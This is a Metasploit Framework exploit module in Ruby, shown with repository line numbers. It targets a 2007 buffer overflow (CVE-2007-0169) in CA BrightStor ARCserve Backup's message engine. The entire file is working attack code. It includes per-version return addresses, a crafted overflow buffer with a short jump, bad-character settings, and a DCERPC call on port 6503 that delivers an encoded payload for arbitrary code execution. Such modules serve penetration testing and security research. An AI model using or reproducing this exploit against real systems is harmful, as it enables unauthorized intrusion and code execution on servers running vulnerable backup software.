root / modules / exploits / windows / brightstor / message_engine.rb @ master
History | View | Annotate | Download (2.2 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = AverageRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::DCERPC |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup |
| 24 |
11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow |
| 25 |
the buffer and execute arbitrary code. |
| 26 |
},
|
| 27 |
'Author' => [ 'MC', 'patrick' ], |
| 28 |
'License' => MSF_LICENSE, |
| 29 |
'Version' => '$Revision$', |
| 30 |
'References' =>
|
| 31 |
[ |
| 32 |
[ 'CVE', '2007-0169' ], |
| 33 |
[ 'OSVDB', '31318' ], |
| 34 |
[ 'BID', '22005' ], |
| 35 |
], |
| 36 |
'Privileged' => true, |
| 37 |
'DefaultOptions' =>
|
| 38 |
{
|
| 39 |
'EXITFUNC' => 'thread', |
| 40 |
}, |
| 41 |
'Payload' =>
|
| 42 |
{
|
| 43 |
'Space' => 600, |
| 44 |
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", |
| 45 |
'StackAdjustment' => -3500, |
| 46 |
}, |
| 47 |
'Platform' => 'win', |
| 48 |
'Targets' =>
|
| 49 |
[ |
| 50 |
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004 |
| 51 |
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ], |
| 52 |
[ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ], |
| 53 |
], |
| 54 |
'DisclosureDate' => 'Jan 11 2007', |
| 55 |
'DefaultTarget' => 1)) |
| 56 |
|
| 57 |
register_options( |
| 58 |
[ |
| 59 |
Opt::RPORT(6503) |
| 60 |
], self.class)
|
| 61 |
end
|
| 62 |
|
| 63 |
def exploit |
| 64 |
connect |
| 65 |
|
| 66 |
handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) |
| 67 |
print_status("Binding to #{handle} ...")
|
| 68 |
|
| 69 |
dcerpc_bind(handle) |
| 70 |
print_status("Bound to #{handle} ...")
|
| 71 |
|
| 72 |
filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V') |
| 73 |
|
| 74 |
sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0) |
| 75 |
|
| 76 |
print_status("Trying target #{target.name}...")
|
| 77 |
|
| 78 |
begin
|
| 79 |
dcerpc_call(47, sploit)
|
| 80 |
rescue Rex::Proto::DCERPC::Exceptions::NoResponse |
| 81 |
end
|
| 82 |
|
| 83 |
handler |
| 84 |
disconnect |
| 85 |
end
|
| 86 |
|
| 87 |
end
|